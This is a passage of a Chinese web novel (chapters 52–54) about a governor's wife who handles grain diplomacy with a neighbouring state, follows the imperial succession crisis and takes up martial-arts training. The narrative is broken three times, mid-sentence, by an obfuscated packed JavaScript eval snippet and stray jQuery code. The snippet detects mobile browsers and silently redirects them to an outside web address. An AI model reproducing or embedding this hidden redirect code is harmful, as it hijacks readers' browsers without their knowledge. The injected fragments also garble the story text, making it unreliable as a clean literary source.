夏知霜此前后悔大肆罢官就是因为这个缘故,个别官员良心未泯,还是可以把他们流放去改造一下的,但现在是她树立威望的时期,不可能把她贬的庶人再挖出来当官。 对此,刘宁是这么说的:“不聋不哑,不做家翁,贪官是斩不完的。” 夏知霜心有戚戚焉。 处理完一批贪官,达到杀一儆百的效果后,下一步就是论功行赏。 此次救灾有功的人列了大长串,出乎意料的是,张明博赫然在列。 “此人不错,可堪大任。”刘宁为他们没看走眼而高兴,侧头问她,“我家英明神武的夫人,敢问你要如何赏他?” “唔,我想想……”夏知霜扫了眼丰瑛郡的官职表,看中了个位置,巧了,刘宁的手指也点到了那个位置上。 青阳县的县令贪污被发配,主薄张明博就这么上任青阳新县令。 夏知霜犹觉不足。 观东的人才太少了!不,准确来说,是还有很多人才没被挖掘出来! 在她考虑要不要张贴第二张专精文科人才的招贤榜的时候,淇南那边回信了。 52. 第 52 章 淇南回了两份,一份正式公函,一份微生湘的家书。 公函上,官腔严肃,不容置喙的口吻,全篇都是:要粮,要粮,还是他喵的要粮! 家书里,微生湘以一种不符合他个性的亲热语气闲聊:多谢世兄关怀,愚弟的病略有起色,这几日精神头很足,每天只吐了一回血,想来都是托世兄日夜挂念的福。 观东这边的回复非常迅速。 仍是夏知霜主笔公函,管你们怎么说,不给就是不给,地主家没有余粮啦。 刘宁这边的私信说,哎呀,真是太好了,天底下没有人比我更期盼你能痊愈了,我的好贤弟,哥这里有一些名贵药材,你使劲用,千万别在治病上节省啊! 拿着几把库房钥匙的章氏又走一趟药库,点了一车药材,药材车跟着信使急忙忙奔向淇南。 淇南众人气个够呛,微生湘脸色都青了。 我他喵的缺你这点药材不成,真当我淇南是什么穷乡僻壤了?淇南只是没那么多种谷子的好地,其他物产还是很丰富的好吗?! 再者,外人不知道他“生病”的缘由就算了,刘宁不是很清楚他是真病假病么,他就不信刘宁看不出来他信中的隐喻! 但即使肺都快气炸了,信里也不能表露分毫。 微生湘更亲热的回曰,噢我的好世兄,真是多谢你慷慨送药,愚弟感动得热泪盈眶,恰好最近天气多变,愚弟病情变坏了亿点点,每天吐血三四次,你送的药材犹如及时雨,来得正正好哇。 刘宁收信时,夏知霜正好从衙门回到家,喝着茶跟他一起看信,看到一半就噗嗤一声,笑得花枝乱颤。 她好不容易找回自己的声音,抹着笑出来的眼泪说:“这是平王找人代笔的吧?好假呀。” 刘宁摇头:“是阿潮的字,字里行间也是他常用的风格。” 夏知霜脑补了下,平王用怫然不悦的表情,书写令人牙酸的话语,复笑不止。 “有那么好笑?”刘宁嘴上这么说,已然跟着她笑起来,“我寄过去的信也是自己写的。” “那又不一样。”她觉得刘宁写什么风格的信都不奇怪,但平王那个人,看着就不像是会写这种肉麻话的性格。 夏知霜发散思维,开玩笑说:“如果当初你是用这种信追求我,成功率不到十分之一呢。”她受不了太肉麻的话,鸡皮疙瘩都要竖起来了。 刘宁换了公函继续看,配合她说:“还好我一向不这么写信,不然去哪找这么好的娘子。” 他并不喜欢这么写信,想必阿潮更不喜欢。 少年人可凭由性情随心所欲,一旦及冠,还是坐到父母官的位置上,便不由人喜或不喜,想或不想。 淇南的公函还是正正经经的词调,可能是知道强硬没有用,这次的话语软了些,说淇南近来多么多么的难。 夏知霜还是那句话,对你们的遭遇深表同情,可是爱莫能助,我们观东也很难。 就这样,双方公函来回拉扯打太极,家书假惺惺的述着袍泽之情。 淇南第三次来信的时候,已经不见了最初的理直气壮,破天荒的放低姿态,真心实意求助,字数跟着变多了,浓词重墨描写淇南子民饿着肚子有多凄惨,况且观淇交界地频繁通婚,淇南饿殍跟观东边民有千丝万缕的关系,你们能忍心放任他们过得那么凄惨吗? 微生湘的“病情”也从每日吐血三次,“恶化”到吐血五次。 这像话吗?人有多少血够他吐的,他这都病了一个多月呢,天天治病,天天吐血。 夏知霜是不知道有谁每天吐血一升还能活蹦乱跳的写信,显然外面的人也不相信。 跟淇南积怨已久的某个小国大呼此乃天载难逢之良机,鼓动联盟国一起攻打观淇,高淙等国没有贸然出手,借口筹集兵马和粮草最快都要月余。 那小国等不及了,打着收复山河的旗号,风风火火带兵奇袭,然后被揍得他娘都认不出他了…… 不仅没有成功收回被淇南占走的半数国土,还新失了一个州,丢人哦。 话说回来,既然淇南肯服软,夏知霜没再为难。 她在公函中痛心地表示对他们的困境感同身受,虽然观东的粮食不太够吃,但友邦都快到饿殍遍野的地步了,他们不忍心见死不救,就省下一点口粮,匀一些过去解友邦的燃眉之急。 最终送过去的粮食只有他们最初要的二分之一。 这倒不是夏知霜故意减量,今年观东的收成不如往年,陈米被洪水浸泡也不是在诓骗淇南,只不过很多粮仓没有建在水灾地带,没有被泡得那么多。 留下四郡今年够吃的部分,预存明年也够的量,考虑到若是今明两年还要打仗,粮食受到影响大减产,还得保证后年半年不能饿肚子,所以能匀过去的也就那么多。 并且往后淇南再来讨粮的话,她打算就按今年的这个数额给,上下浮动不超过两千石。 把隔壁喂太饱,养虎为患,把隔壁饿太狠,恐对方恶狼扑食。 吃不饱、饿不死的邻居才是好邻居。 至于省出来的粮食,就充作自家的战略物资,富别人不如富自家。 刘宁和鲁元听到她这么规划,那是半点意见都没有,反而大加夸赞他的未雨绸缪。 这的确是他们从未设想过的方向,有台开郡在,他们很少缺过粮食,想不到这份上。 主食富足,他们就对早稻和中稻挑挑捡捡,形成达官显贵吃香软的晚稻,中产阶级吃口感次些的中稻,平民吃普通早稻的阶层。 早稻往往最量产,送到淇南去的往往是第一茬早稻,这些谷子观东上层不稀罕,送去做人情不算亏。 虽说观东人很少饿肚子,但不是没有不缺粮食的时候。 像今年遇上洪涝了,或者是像往年大旱啊、蝗灾啊之类啊,观东的收成就锐减了。 说句难听的实话,观东缺粮是缺百姓的粮,跟当官的、做富翁的何干?他们不论什么时候都有饭吃。见百姓过得苦,官老爷是着急,是担心,除此之外就摊手了。 这是天灾造成的,他们肉眼凡胎,拿老天爷没办法啊,熬到明年等第一茬早稻成熟吧! 观东人口本来就少,打仗死了一批,灾年还得饿死一批,人口数目经年不见增长,可悲可叹。 万幸去年观东大丰收,补了今年晚稻一无所获的账。 夏知霜这一世是农家出身,又在陈家受了两年的饥苦,不忍百姓也吃这种苦头;家里没粮倒罢了,明明家里有粮,干嘛要送给别人那么多,饿到自家人呢? 从淇南那里省下来的二分之一,存下来充作战略物资了。 刘宁二话不说,遣人去秘密建粮仓。 淇南那边受到粮食后,不满只有他们要的一半的量,不过观东推三阻四的,都以为这回要不到粮了,因此不好过多抱怨。 古熠不敢耽搁,马上运到各地的仓库,该存仓的存仓,该放粮的放粮。 淇南发来了真情实感的感谢信。 鲁元哭笑不得:“呦,奇事啊,以前送那么多粮只得对方轻飘飘一句多谢,少给却洋洋洒洒谢了二十字。” 刘宁同样唏嘘。 夏知霜道:“升米恩,斗米仇,你们是身在局中才一时看不穿。” 当观东予取予求,淇南的索要就变得理所当然,由局外人的她打破了这种诡异的平衡,两边的人才随之醒悟。 她要淇南重新意识到,观东没有帮助淇南的义务,给粮是情分,不给是本分,他们每施舍一次粮食, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16806408|183263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对面都要好好谢他们一次,否则下次别再想让观东供养淇南的子民。 收到粮食,据说沉疴难愈的微生湘发生了医学奇迹,彻底痊愈了,他在信中大肆抒发欢喜之情,跟他的亲亲世兄回忆儿时,畅聊今期,展望未来,最后附送两车药材,嘱咐他的好世兄多多注意身体。 两句话概括他的信:只有你懂我,只有你真正关心我,你就是我亲如手足的兄长,啊!咱们要是亲兄弟该多好呀! 夏知霜呵呵笑,腹诽你都把亲兄弟给屠干净了,要是刘宁真是你亲兄弟,你俩岂不打得你死我活? 而且刘宁送他一车药材,他回送两车,不就是在说:这东西要你送?爷不稀罕,爷有的是。 平王这人,貌似有点小心眼啊。 夏知霜转头找共鸣,结果惊奇的发现,刘宁眼泛泪花,一副深受触动的样子…… 她再眼睁睁看着他迫不及待回信,写些她觉得恶寒的肉麻话。 夏知霜:…… 喂喂喂,兄弟你不都以闹着玩的心态跟对方肉麻通信的嘛,怎么这回当真了呢! 眼看刘宁写得比以前还要肉麻,回忆两人稚童时期干过的傻事,期盼他们两兄弟再次把酒言欢,他嘴边就挂了笑。 算了,她懒得理。 刘宁写到动容处,抬头对她认真感叹:“若阿潮是我胞弟,我定拼尽全力护他,必不让他走到这地步。” 是什么地步夏知霜不知道,平王府血案的真相知者寥寥,刘宁和微生湘讳莫如深,她也懒得去挖陈年旧事。 她翻了翻几摞公文,率先看睢国的回函。 面对观东的质问,睢国模棱两可的回应,好言好语安抚观东,又没有明确说要退出多国联盟。 鲁元建议先冷着对方,刘宁咂摸两下,亦觉冷对方比较好。 夏知霜便不再回函。 睢国左等右等,等不到回应,猜测是否惹恼观东了。 睢国的王是个优柔寡断的家伙,想走左右逢源的路径,不想轻易放弃和观东的情谊,又不肯退出联盟与众小国交恶。 高淙等国不耻睢国的既要又要,拿睢王没办法,只得延缓攻打观淇的进度。 随着各方休战,很多地方开始通商通航。 彩玉到侯府请示,夏知霜同意瑜记先派一支船队出海探探路,观淇外的店铺依然休。 趁此机会,她对彩玉道:“我看那戚家小子是个人才,你给他透句话,看他有没有心到聚贤庄做事。” 彩玉点头:“好,我明天叫他到店里来问。” 夏知霜见她面无喜色,很平静的样子,好似戚泉出不出人头地都跟她没关系,此时真信了他们这对假未婚夫妻没有男女之情。 至少,彩玉看起来没有假戏真做的意思。 彩玉反过来关心她,屋里没第三人,便放心问:“如何,近来可有好消息?” 夏知霜知道她问什么,无奈摇头。 这两个月他们夫妻没少胡闹,前天郭秀婉给她请平安脉,没说怎么样,大约是没怀上。 她犹豫着说:“我怀疑,是之前用多了碧云膏的缘故。” 彩玉斩钉截铁:“不会,我帮你涂的量我能不知道?咱们绝没有多用。”消除她疑虑和不安后,转而安慰她,“你和总督新婚便分离,婚后聚少离多,一时怀不上再正常不过,你别着急,孩子该来会来的。” 夏知霜被她握着手轻摇两下,心里稍定,对彩玉笑了笑,示意她没事。 彩玉有时候像她的姐姐,有时候像她的妹妹,她们两个知根知底,连刘宁都不如彩玉了解她来得彻底,彩玉的话,她会听进心里去。 船队顺利出发。 船队又顺利回港了,带回了启朝的有效消息。 53. 第 53 章 启国正忙两件大事:皇帝重病,龙子夺嫡。 太医署上下守口如瓶,祎坤帝得的什么病没人知道,只知道他有两年不见外人了。 这事放在平时本来很正常。 甭管朝野嘴里怎么夸当今皇帝圣明,十人中有十一人心里偷偷骂祎坤帝是个昏君,祎坤帝作为昏君十分称职,不思军政,不上早朝,沉迷酒色,夜夜笙歌。 多少次重臣叩阁,祎坤帝都不肯面见,纵有臣子以死严逼,皇帝至多在偏殿架一扇屏风,臣子在屏风外述事,狗皇帝在屏风另一头抱着美人无所顾忌的欢爱。 如此昏君,别人见不到他太正常了。 世人得知昏君病危,还是因为最近大半个太医署都值守在昏君的寝殿内,以及他这两年都不选秀女,也不宠爱妃嫔了! 这个理由很荒唐,可是很有说服力。 按制,秀女三年小选,五年大选。 祎坤帝说不,朕要每年最新鲜水灵的美人儿。于是秀女年年选,一选就是一大批,多到百姓都担忧皇宫能不能放得下那么多人。 皇宫那地方对百姓来说像天宫似的,大得无法想象,这么大的地方都令百姓好奇够不够放女人,可以想象得到这个残酷的选秀制度铸就了多少女儿悲歌。 但皇宫仿佛无底洞,只有填不满,没有放不下,因为后宫有进有出,前脚一批年轻貌美的女子刚进去,后脚一批过气的妃嫔裹着破烂席子从冷宫抬到乱葬岗。 现在后宫没有新人进,旧人又四处托关系给家人传话要补贴——这也不是怪事。 宫里女人不计其数,皇帝喜新厌旧,真正受宠的其实没几个,负责发放份例的内官监看人下菜碟,不受宠的妃嫔虽不至于饿死,但冬不暖、夏不凉、衣不新、食不细,娘娘们熬不下去就只能托家人补贴了。 家世好的宫妃频繁跟外界通信,皇宫便四周漏风了,祎坤帝重病的消息不胫而走,朝野整合信息来回琢磨,想不信都难。 百姓表面痛惜,私下欢呼:太好啦,狗皇帝快噶了,苦日子终于快结束了! 皇子们作哀思状,内心窃喜:老登终于要挂了,不枉爷天天下毒/扎小人/搞暗杀。 百官分两派,权臣派悲鸣:不好,新君继位我们还怎么揽权,死昏君你使劲挺住,吊着一口气再活一百年啊! 余下官员狂喜:好好好,挣从龙之功的机会来了,让我瞅瞅哪个龙子凤孙最有潜力。 祎坤帝爱宠无数,子女缘却很浅薄,养成的就更少了,至今公主二位,皇子六人。 公主均已成年出嫁,驸马一家小官小职,没什么份量,跟个吉祥物差不多。 皇子中,剔除两位嗷嗷待哺的四五岁孩童,一位天阉无嗣,就剩中宫一位不受宠的嫡子,两位受宠的贵妃之子。 嫡子的情况颇为复杂,大皇子荣王的生母是个已逝的宫女,彼时皇后膝下无子,把大皇子抱养到膝下视如己出,然而皇后没多久撒手人寰了,母子缘分堪堪维持半年。 没了皇后给他贴金,荣王这个“嫡长子”的头衔就尴尬起来,兄弟们都不认,且皇后去时他年纪还小,没能在皇后的帮助下跟皇后的母族结下深厚情谊,可以说是要什么没什么,唯一的优势,只有挂名的嫡出的身份。 至于乐贵妃的二子,那是货真价实的子凭母贵。 乐贵妃能在三千佳丽中厮杀出来,二十年圣眷不减,那可是独一份,即使她这几年年老色衰,皇帝不再召她侍寝,一个月里也会跟她见两三面,喝喝茶聊聊天。 爱屋及乌,狗皇帝就多爱重她膝下的二皇子彰王、四皇子璃王几分。 本来嘛,畜牲接触多了都会产生感情,何况是人呢?贵妃荣宠不断,皇帝时常到贵妃宫里去坐坐,几个皇子中,皇帝见到最多的就是彰王和璃王,比见其他几个儿子的次数要多得多,自然就偏爱上了。 现在灶烧得最热的,便是挂名中宫的荣王,贵妃党的彰王和璃王三位。 贵妃党又分两派,细究起来也是一桩捋不清的账,只因彰王不是乐贵妃亲生的。 当年贵妃侍奉皇帝多年无子,又逢皇后抱养大皇子,贵妃受了刺激便也收养了二皇子,几年后,贵妃老蚌怀珠,生下并成功养大了四皇子。 外人都道彰王与璃王亲密无间,不是同胞胜似同胞,但真实情况谁人又说得清。 祎坤帝迟迟没立储君,看似皇后党和贵妃党在打擂争夺太子之位,实则是三个灶台烧得火热。 这些事在启朝已经家喻户晓,只不过交通不便利,这么久才传到观淇。 不管谁输谁赢,不是观淇能左右得了的,他们只能作壁上观。 刘宁放下简报,让爱妻先发表看法:“想到什么了?” 夏知霜看向厅里的第三人,鲁元捋着胡须作倾听状,她便托大,率先发言。 “皇帝应是到了油尽灯枯的时候,来日新君上位,朝臣必将大洗牌。若新君跟当今一个模样,到南边来宣的圣旨不会少,他们可能会逼着我们跟邻国拼个鱼死网破。” 皇帝无能,权臣把持朝政,这种背景下,利益划分不均是常态,文武两派或是军队内部必有分歧。既有分歧,劲使不到一处去,有点头脑的大将都不想做个在前线出大力收复失地,被人跟在后头摘桃子的大冤种。 那就只有让南边的小国自己拼杀最省事了。 就像祎坤帝连下两道旨到观淇,命令观淇代替朝廷去攻打其他小国一样。 她甚至怀疑,那两道圣旨不是祎坤帝的主意,更可能是内阁拟定的方案……那耽于享乐的昏君看起来没有这个头脑,就是有这个头脑,病重下也没有那个精力。 这就解释了启朝为何突然要管一管被放置几十年的南边,因为皇帝病危,储君未立,朝廷担心南边分裂出去的小国会趁此机会联合搞事,遂,找点事情让南边自己闹着玩去。 夏知霜如此这般分析下来,刘宁和鲁元都没有打断,见她看过去,他们一齐回以鼓励的眼神。 她信心大涨,继续分析:“倘若新君雄才大略,观淇面临两个局面,其一,启军南下,逐个收复裂土,最南边的观淇是启军的最后一站。其二,也是启朝最精明的办法,让我观淇与之两面夹击,一同复原大启的万里疆土。” 不管是什么情况,从启朝下旨到观淇的那刻起,南边注定不能置身事外。 世道要更乱了。 议事堂内的三人不约而同叹息。 鲁元说:“我这就拟信到各地,探探动向。” 南边的其他地方肯定也收到启朝消息了,诸国这时安静不了,定会互相来回试探。 刘宁道:“有劳军师了。” 夏知霜也对鲁元颔首。 鲁元朝二人行礼退下,领着守门的傅杭一道离开,去写送往各地的公函。 夏知霜心里沉着一块石头,感觉有点喘不过气来。 天杀的,这才过了几天好日子,那么快就不得安生了。 在陈府的时候,她以为坐上当家之位就万事不愁,谁知差点守不住万贯家财。和刘宁两情相悦,嫁到刘宅来做总督夫人,还接过了总督印,以为从此高枕无忧,安然而卧,孰料破事一堆。 大鱼吃小鱼,小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16811171|183263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鱼吃虾米,虾米吃浮藻。 可能只有成为最大的那条“鱼”,登上食物链的顶点,才真正算得上随心所欲。 直到用完晚膳,躺到拔步床上,她还是一副若有所思的模样。 刘宁握上她的手,大热的天,她的手略显冰凉,他心疼的捂了捂。 他语气前所未有的温柔:“不要怕,观东后路那么多,不会有事的,就算真有事,我也想好了怎么保你富贵下半生。” 夏知霜倒是没真怕,只是感慨万千,还有一点难以言说的兴奋?她也不会知道为何会兴奋,她自己也觉得很奇怪。 不过她还是顺着他的话说:“怎么听着单保我一个?陵里留了咱们两个的位置,你要和我一起才行。” 刘宁难得愣住,他移开目光,看着夜色里朦胧的帐顶,淡淡笑着:“嗯,无论在何地,咱们都在一块。” 夏知霜偎进他怀抱的最深处,两个人紧紧相拥,好似要揉进彼此的骨血之中。 翌日,品尝过美味佳肴,呼吸着清新的空气,她整个人就光棍了,放松得不得了。 刘宁说得对,启朝的变化没什么大不了的,不如说是大势所趋,迟早会有那一天,而且狗皇帝能活多久、新君又花多少时间站住脚还不好说,南边真要乱起来,少说还有一两年功夫。 观东可以是自治的观东,也可以是启朝管辖的观东。 山到跟前必有路,船到桥头自然直,不必庸人自扰。 夏知霜非常淡定。 她在月荷欲言又止的表情中,在月樱想劝又不敢劝的情况下,吃完两碗酸奶,一碗酸梅汤,两碗冰渣豆花,一大碟瓜果,一瓶红彤彤的石榴汁后,找刘宁消食去了。 消食过后,小夫妻没叫人进屋伺候,换过衣服靠在一起边阅公文边闲聊。 夏知霜仍记挂招揽人才之事,提出斟酌很久的建议:“我有个主意你看行不行?朝廷没办法派官员来,观东学子又很难远赴千里去科考,那我们就自己办个考场。正规科举分为三试,其中乡试是在任官员主持考试本地考生,我们就办这个乡试好了。” 乡试考出来的人集中到一起,再以“切磋”的名义试他们一试。学子私下里盛行文斗,想必他们不会对“切磋”反感,斗出来的佼佼者就可以作为新鲜血液注入到官场中去了。 这样比张贴招贤榜省事,她觉得这不失为一个好办法。 刘宁耐心听完,先给予肯定:“你总有奇思妙想,没有比这个办法更方便、更快捷了。” 话到这里就要加个“但是”了。 启朝的乡试考题是地方出几份,送到中央审核,由中央选定其中一份,再打回地方封存至开考。 观东真要办正经乡试的话,考题是个大麻烦,他们自选考题就逾矩了。 用本地旧考题,或是别地旧考题也不行,这些都被学子研究过了,形同开卷考试,个个是状元预备役。 若不用乡试的名头,难免缺失公信力。 夏知霜左思右想,找不出更好的办法,脑子差点宕机。 刘宁出声解救她:“这事不急,我们先办正事。” 然后,他带着爱妻,走进了练武台。 练武台空荡荡,提前清场过了。 夏知霜看他在琳琅满目的架子前挑选兵器,间歇取几样在她身前比划,她难掩震惊。 这位大兄弟,你确定没搞错吗?让你家娇滴滴的、肩不能挑、手不能提、柔弱妩媚的大美人老婆,开始走十八般武艺精通的铁娘子路线?! 大兄弟对她温柔微笑,表示他的确没在开玩笑。 54. [锁] [此章节已锁] 从这日起,刘宁化身为牢头,把夏知霜“关”在练武场,她在台上艰难挥舞长剑、皮鞭、弓箭等兵器,他在台下指点江山。 刘宁贵为观东刘氏之子,自当文武双全,他对武学不说多么精通,起码是不俗的,否则几年前就逃不出叛军铺天盖地的追杀,以他的武艺,当她的私人教头绰绰有余。 不过他惯使的兵器有限,所以暗卫们自告奋勇,纷纷表示可以指点夫人他们精通的兵器。 天下即将大乱,谁都预料不到今后是何局面,学几样保命本领总是好的。 夏知霜不是不知好歹的人,其实她也早有此意,在陈府备受磋磨的日夜,她不止一次的想,如果她会几样拳脚功夫,想来没那么容易被抓住,便不用受那么多鸟罪了。 奈何一波未平一波又起,她压根没有时间练习,目下刘宁的做法正合她意,夫妻俩是想到一块去了。 问题是,她的时间和精力有限,只想专精一样武器,不想做个十八般兵器都精通的武状元呀。 “趁手的兵器犹如你的第三只手,既想专精一项,更要慎重抉择。你不一一试练,如何知晓哪种兵器是你的专长?”刘牢头是这么说的。 她正待辩驳,刘牢头快一步劝诱:“假使你身陷险境,擅长的兵器途中掉落,周围只有你不会使的武器,你要如何自保呢?” 夏知霜讷讷无言,承认他说的有道理。 她的任务就不容更改的分成了两步,第一步,惯用常见兵器,第二步,捡喜欢的武器精习。 她安慰自己技多不压身,默默刻苦学习。 但是吧…… 她又一次艰难拉弓,忍着手臂酸痛对准靶子脱弦,箭矢别说中靶,那是连草人的边都没挨到。 这已经是夏知霜目前最好的成绩了。 因为她的箭头有时候会乱飞,飞到别的空地倒罢了,有时候会飞到刘宁那边,好采他有防备溜得快,暗卫也会及时击飞箭矢,而且箭头是蜡做的,不然早被射成窟窿了。 即便如此,还是有漏网之鱼。 彼时,狼狈躲避还是没躲掉的刘总督从发髻上取下一支箭,从箭头目移至箭羽,眼神相当复杂。 须知,刘总督含着金汤匙出生,除去叛军围剿的那几个月,他平生没那么狼狈过。 暗卫们一个激灵,嗖的一下退远了,那个画面不是他们该看的! 夏知霜提着至少二十斤重的弓,心虚不已,也不敢往台下看。 刘宁正了正衣冠,变回了优雅的端方君子,尽量委婉、含蓄、隐晦地对爱妻说:“弓把太重,以你现在的臂力,练起来确实吃力,是我疏忽了,咱们暂且练别的吧。” 她心虚尴尬愧疚,哪里敢说不?连忙点头,这时候就是要她上山去打虎都不带犹豫的。 然后就轮到了刀剑的回合。 刀剑看起来很帅,然而据说最轻的那柄对她来说都是重死人,刀谱和剑法还不同,夏知霜练得头昏眼花。 她偶尔力有不支倒下,险些没被手中的剑戳伤,幸好刘宁有先见之明,她手中的全是未开刃的。 之后是皮鞭,骆怡演示的时候甩鞭的姿态帅气极了,夏知霜看得目不转睛,鞭尾发出的噼啪响听得十分悦耳,她对鞭子的兴趣非常浓厚,还没开始上手她就认定这是自己的本名武器了。 她信心十足,发誓自己要好好学! ……不到半天就放弃了。 天底下怎么会有人在大力甩鞭子的时候,一个不小心把鞭尾甩到自己脖颈上缠了好几圈呢?! 夏知霜想不通,非常想不通。刘宁也愣了愣,迅速帮她解下鞭子,叫人取药来。 教学的骆怡可能也不知道会是这个结果,趁被主君和夫人灭口之前,默默闪人,她想暗示同伴一起走,结果一众暗卫比她跑得更快,早在夫人鞭子失控时就非礼勿视了。 那个画面也是他们不能看的,他们什么都没看到! 练武场没有外人,进人也只进了夏知霜身边的三位贴身侍婢。 夏知霜瘫在椅子上咸鱼躺,一脸的生无可恋,月樱端着膏药担心的守一旁,月荷细细涂药,月兰慢慢给她喂茶。 刘宁仔细观察,见她脖子的鞭痕只是略微红了点,无甚大碍,彻底放心了。 处理完伤口,她换过外袍,坐在那还是一副“好丢脸哦”的表情,夫妇俩悠悠闲谈。 夏知霜娇声控诉:“是鞭子不听话。” “对,都是它不听话。”刘宁一脸认真的附和,心中忍笑。 夏知霜:“我不要练鞭子了,我不喜欢。”全然忘了不久前刚把人家当本命武器的事。 刘宁:“好,好,咱们都听霜霜的。” 夏知霜越说越气:“肯定是我跟这些武器天生八字不合,没一样趁手,拿在我手上像是要跟我作对。” 刘宁说得煞有其事:“嗯,它们有眼无珠,太不识相了。” 她噗嗤一声,被他一本正经开玩笑的样子逗笑了,他跟着一起展颜。 被人这么无条件的宠着、哄着,夏知霜反倒觉得不好意思了,心里的那点窘迫很快不翼而飞。 她侧头轻轻靠在他结实的肩膀上,趁势要求:“我累了,今日不练了吧?” 刘宁温柔应了生“好”。 夏知霜顿时高兴了,配上当晚一桌美味的八宝鸭、腌笃鲜、芙蓉鸡片、乳鸽药膳汤,并几道清爽的蔬菜,一扫阴霾,把丢脸的破事忘得一干二净。 结果第二天,她的好丈夫又把她带到练武场去了。 夏知霜悲伤的一抹脸,伸指戳身边那个混球:“夫君,咱们还有好多公务没处理,要不……” 刘宁微笑:“有军师在,夫人不必挂心。” 夏知霜义正言辞:“那么多公文我们两个尚且批阅不完,军师独木难支,把所有事务都推给他,这不太好吧?” 刘宁依然微笑:“不妨事,还有吕大人和张大人。” 鲁元在吕麟和张廷的协助下,可以处理大半的公文,不太重要的事过后汇总交上来就行,大事鲁元会列出几个处理方案,他们负责拍板即可,需要他们出面的顶顶重要的事还是比较少的。 前段时间她刚正式上任代总督,为了磨砺她,才把大小事务都抬给她批阅,这是每任新总督的必经之路。 他如此这般的解释,夏知霜便没了话头,认命走上练武台。 不过旁边的架子空无一物,可能刘宁也发觉了她对刀剑弓枪等兵器实在没有天分,甚至还会伤及自己,因此改为教她近身之术。 两个暗卫在台子的另一边演示对打,包括怎样挣脱束缚,如何攻击要害,怎么先发制人等等。 暗卫反复演示,不厌其烦,速度很慢,直到她记全为止。 夏知霜先拿骆怡当练习对象,两人摔摔打打,她天天腰酸背痛腿抽筋,苦不堪言。 骆怡好不到哪里去,这点练习她当然是小菜一碟,但她一身蛮力,对夫人轻不得、重不得,生怕伤到了夫人,搞得她每天苦兮兮的,比日常繁重的训练还要累。 约有小半月,夏知霜终于能偶尔赢过骆怡一回。 赢过骆怡她还不满足,骆怡和她身量相仿,考虑到敌人比她更高大强壮的可能性,还需要换一个练习对象。 男暗卫哪敢贴近她,刘宁就成为了不二人选。 于是画风渐渐歪了。 二人贴着贴着,抱一块了,又因他们是近身纠缠,难免会被带倒,两人躺地上抱着抱着,就滚来滚去了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16832745|183263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 唉~世风日下,伤风败俗。 两个当事人明显也觉得光天化日贴身“搏斗”不合适,接下来的练习场地就换到了书房外的大院子,往日刘宁心血来潮想舞剑就在院子里舞,地方绝对够宽。 可想而知,换到幽静的地方后,“伤风败俗”的频率不降反升。 要说这是夫妻情调,那也不太准确,其实他们还是有心认真练习的,就是这对昔日很默契的夫妻忽然就变得不同频了。 刘宁一心教学的时候,她看着近在咫尺无可挑剔的肩宽、窄腰、长腿,默默咽口水,本来还忍得住,触到那结实的胸肌,脑子里的黄色废料就一发不可收拾了。 她仰头去亲吻,香舌不断勾缠,刘宁被她吸得魂都要出来了,哪里顾得上教书育人呢。 当夏知霜心无旁骛练习的时候,妩媚的眉眼多了股不同平时的英气,不带感情的眼神别有韵味,身姿旋转之时说不出的妙曼动人,宛如将将盛开的鲜花。 她的匕首架在他颈侧,冷若冰霜的神色化作巧笑嫣兮,满足地宣布:“你输了。” 花骨朵在他面前毫无保留的灿然盛开,娇艳、美丽、危险而诱人。 有花堪折直须折,刘宁当然没忍住,埋头采撷甘甜的花蜜。 “呀,你这人。”恼羞的娇嗔在风中若隐若现。 …… 话虽如此,两人还是有认真练习的。 正经练习完,夫妻洗漱换衣后,像平常那样靠在一起。 刘宁挖一块药膏涂在她手上长水泡的地方,还有她磕磕碰碰的青块紫块,心酸极了,根本不敢用力,仿佛捧着易碎的宝玉美瓷。 夏知霜顺着他的目光看去,这双手以前干过许多粗活,受过不少的伤,养了两三年才养得柔滑水嫩,现今十指青葱又要舞刀弄棒,长泡出血在所难免。 她静看他小心翼翼涂完药,扣住他的手摇晃两下,抬头向他笑:“你是为我好,我知道。” 刘宁搂住她,紧紧地拥抱,埋头在幽香的发间,犹如梦呓:“我只是怕,你有朝一日,会沦落至我不幸的境地。” 战争离他们是那么的近,一旦交兵,瞬息万变。 他不惧死亡,他的心已在全族覆灭的那日千疮百孔,他见尽世间丑恶,身死没什么好怕的,唯独牵挂四郡子民的安危,不放下她遗留世上受苦受难。 如苍天不佑,他不幸战死,他希望她不会像他那样沦落到逃亡的境地,倘若她真到了孤身一人逃亡的地步,他希望她能利用他教授的保命手段活下去。 刘宁有时候会想,当初是不是不该拉她入这难解之局,他给她带去权势,也带去了危险。 夏知霜含泪回抱他,轻松地说:“你以为我会怨你?我怎么会呢?我全都知道。与你相遇的日子,是我今生最快活的时光。” 